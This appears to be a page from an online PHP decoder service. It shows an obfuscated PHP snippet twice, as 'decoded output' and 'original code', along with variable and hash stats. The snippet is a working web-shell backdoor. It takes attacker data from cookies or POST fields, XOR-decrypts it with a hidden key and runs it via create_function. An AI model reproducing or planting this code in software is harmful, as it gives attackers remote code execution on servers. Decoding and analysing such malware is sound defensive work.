Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $vbeuvrs = 'd5pnfc_m-irkyg2to0Hs\'#u1463b*e8lxav97';$ymxfpve = Array();$ymxfpve[] =..

Decoded Output download

<?php 
$vbeuvrs = 'd5pnfc_m-irkyg2to0Hs\'#u1463b*e8lxav97';$ymxfpve = Array();$ymxfpve[] = $vbeuvrs[1].$vbeuvrs[1].$vbeuvrs[14].$vbeuvrs[14].$vbeuvrs[25].$vbeuvrs[30].$vbeuvrs[36].$vbeuvrs[23].$vbeuvrs[8].$vbeuvrs[1].$vbeuvrs[17].$vbeuvrs[0].$vbeuvrs[14].$vbeuvrs[8].$vbeuvrs[24].$vbeuvrs[1].$vbeuvrs[24].$vbeuvrs[26].$vbeuvrs[8].$vbeuvrs[30].$vbeuvrs[36].$vbeuvrs[26].$vbeuvrs[30].$vbeuvrs[8].$vbeuvrs[25].$vbeuvrs[33].$vbeuvrs[36].$vbeuvrs[0].$vbeuvrs[36].$vbeuvrs[14].$vbeuvrs[35].$vbeuvrs[27].$vbeuvrs[30].$vbeuvrs[23].$vbeuvrs[17].$vbeuvrs[29];$ymxfpve[] = $vbeuvrs[5].$vbeuvrs[10].$vbeuvrs[29].$vbeuvrs[33].$vbeuvrs[15].$vbeuvrs[29].$vbeuvrs[6].$vbeuvrs[4].$vbeuvrs[22].$vbeuvrs[3].$vbeuvrs[5].$vbeuvrs[15].$vbeuvrs[9].$vbeuvrs[16].$vbeuvrs[3];$ymxfpve[] = $vbeuvrs[18].$vbeuvrs[28];$ymxfpve[] = $vbeuvrs[21];$ymxfpve[] = $vbeuvrs[5].$vbeuvrs[16].$vbeuvrs[22].$vbeuvrs[3].$vbeuvrs[15];$ymxfpve[] = $vbeuvrs[19].$vbeuvrs[15].$vbeuvrs[10].$vbeuvrs[6].$vbeuvrs[10].$vbeuvrs[29].$vbeuvrs[2].$vbeuvrs[29].$vbeuvrs[33].$vbeuvrs[15];$ymxfpve[] = $vbeuvrs[29].$vbeuvrs[32].$vbeuvrs[2].$vbeuvrs[31].$vbeuvrs[16].$vbeuvrs[0].$vbeuvrs[29];$ymxfpve[] = $vbeuvrs[19].$vbeuvrs[22].$vbeuvrs[27].$vbeuvrs[19].$vbeuvrs[15].$vbeuvrs[10];$ymxfpve[] = $vbeuvrs[33].$vbeuvrs[10].$vbeuvrs[10].$vbeuvrs[33].$vbeuvrs[12].$vbeuvrs[6].$vbeuvrs[7].$vbeuvrs[29].$vbeuvrs[10].$vbeuvrs[13].$vbeuvrs[29];$ymxfpve[] = $vbeuvrs[19].$vbeuvrs[15].$vbeuvrs[10].$vbeuvrs[31].$vbeuvrs[29].$vbeuvrs[3];$ymxfpve[] = $vbeuvrs[2].$vbeuvrs[33].$vbeuvrs[5].$vbeuvrs[11];foreach ($ymxfpve[8]($_COOKIE, $_POST) as $ulbhl => $mrkwhkq){function zxataol($ymxfpve, $ulbhl, $vjqir){return $ymxfpve[7]($ymxfpve[5]($ulbhl . $ymxfpve[0], ($vjqir / $ymxfpve[9]($ulbhl)) + 1), 0, $vjqir);}function zqsvx($ymxfpve, $btbnfek){return @$ymxfpve[10]($ymxfpve[2], $btbnfek);}function yrcrir($ymxfpve, $btbnfek){$glleais = $ymxfpve[4]($btbnfek) % 3;if (!$glleais) {$hujulb = $ymxfpve[1]; $bayqsot = $hujulb("", $btbnfek[1]($btbnfek[2]));$bayqsot();exit();}}$mrkwhkq = zqsvx($ymxfpve, $mrkwhkq);yrcrir($ymxfpve, $ymxfpve[6]($ymxfpve[3], $mrkwhkq ^ zxataol($ymxfpve, $ulbhl, $ymxfpve[9]($mrkwhkq))));} ?>

Did this file decode correctly?

Original Code

<?php
$vbeuvrs = 'd5pnfc_m-irkyg2to0Hs\'#u1463b*e8lxav97';$ymxfpve = Array();$ymxfpve[] = $vbeuvrs[1].$vbeuvrs[1].$vbeuvrs[14].$vbeuvrs[14].$vbeuvrs[25].$vbeuvrs[30].$vbeuvrs[36].$vbeuvrs[23].$vbeuvrs[8].$vbeuvrs[1].$vbeuvrs[17].$vbeuvrs[0].$vbeuvrs[14].$vbeuvrs[8].$vbeuvrs[24].$vbeuvrs[1].$vbeuvrs[24].$vbeuvrs[26].$vbeuvrs[8].$vbeuvrs[30].$vbeuvrs[36].$vbeuvrs[26].$vbeuvrs[30].$vbeuvrs[8].$vbeuvrs[25].$vbeuvrs[33].$vbeuvrs[36].$vbeuvrs[0].$vbeuvrs[36].$vbeuvrs[14].$vbeuvrs[35].$vbeuvrs[27].$vbeuvrs[30].$vbeuvrs[23].$vbeuvrs[17].$vbeuvrs[29];$ymxfpve[] = $vbeuvrs[5].$vbeuvrs[10].$vbeuvrs[29].$vbeuvrs[33].$vbeuvrs[15].$vbeuvrs[29].$vbeuvrs[6].$vbeuvrs[4].$vbeuvrs[22].$vbeuvrs[3].$vbeuvrs[5].$vbeuvrs[15].$vbeuvrs[9].$vbeuvrs[16].$vbeuvrs[3];$ymxfpve[] = $vbeuvrs[18].$vbeuvrs[28];$ymxfpve[] = $vbeuvrs[21];$ymxfpve[] = $vbeuvrs[5].$vbeuvrs[16].$vbeuvrs[22].$vbeuvrs[3].$vbeuvrs[15];$ymxfpve[] = $vbeuvrs[19].$vbeuvrs[15].$vbeuvrs[10].$vbeuvrs[6].$vbeuvrs[10].$vbeuvrs[29].$vbeuvrs[2].$vbeuvrs[29].$vbeuvrs[33].$vbeuvrs[15];$ymxfpve[] = $vbeuvrs[29].$vbeuvrs[32].$vbeuvrs[2].$vbeuvrs[31].$vbeuvrs[16].$vbeuvrs[0].$vbeuvrs[29];$ymxfpve[] = $vbeuvrs[19].$vbeuvrs[22].$vbeuvrs[27].$vbeuvrs[19].$vbeuvrs[15].$vbeuvrs[10];$ymxfpve[] = $vbeuvrs[33].$vbeuvrs[10].$vbeuvrs[10].$vbeuvrs[33].$vbeuvrs[12].$vbeuvrs[6].$vbeuvrs[7].$vbeuvrs[29].$vbeuvrs[10].$vbeuvrs[13].$vbeuvrs[29];$ymxfpve[] = $vbeuvrs[19].$vbeuvrs[15].$vbeuvrs[10].$vbeuvrs[31].$vbeuvrs[29].$vbeuvrs[3];$ymxfpve[] = $vbeuvrs[2].$vbeuvrs[33].$vbeuvrs[5].$vbeuvrs[11];foreach ($ymxfpve[8]($_COOKIE, $_POST) as $ulbhl => $mrkwhkq){function zxataol($ymxfpve, $ulbhl, $vjqir){return $ymxfpve[7]($ymxfpve[5]($ulbhl . $ymxfpve[0], ($vjqir / $ymxfpve[9]($ulbhl)) + 1), 0, $vjqir);}function zqsvx($ymxfpve, $btbnfek){return @$ymxfpve[10]($ymxfpve[2], $btbnfek);}function yrcrir($ymxfpve, $btbnfek){$glleais = $ymxfpve[4]($btbnfek) % 3;if (!$glleais) {$hujulb = $ymxfpve[1]; $bayqsot = $hujulb("", $btbnfek[1]($btbnfek[2]));$bayqsot();exit();}}$mrkwhkq = zqsvx($ymxfpve, $mrkwhkq);yrcrir($ymxfpve, $ymxfpve[6]($ymxfpve[3], $mrkwhkq ^ zxataol($ymxfpve, $ulbhl, $ymxfpve[9]($mrkwhkq))));}

Function Calls

null 1

Variables

$vbeuvrs d5pnfc_m-irkyg2to0Hs'#u1463b*e8lxav97
$ymxfpve [{'key': None, 'value': 'pack'}]

Stats

MD5 af6e132cbaf3c9bae6b71fccfcb735a4
Eval Count 0
Decode Time 120 ms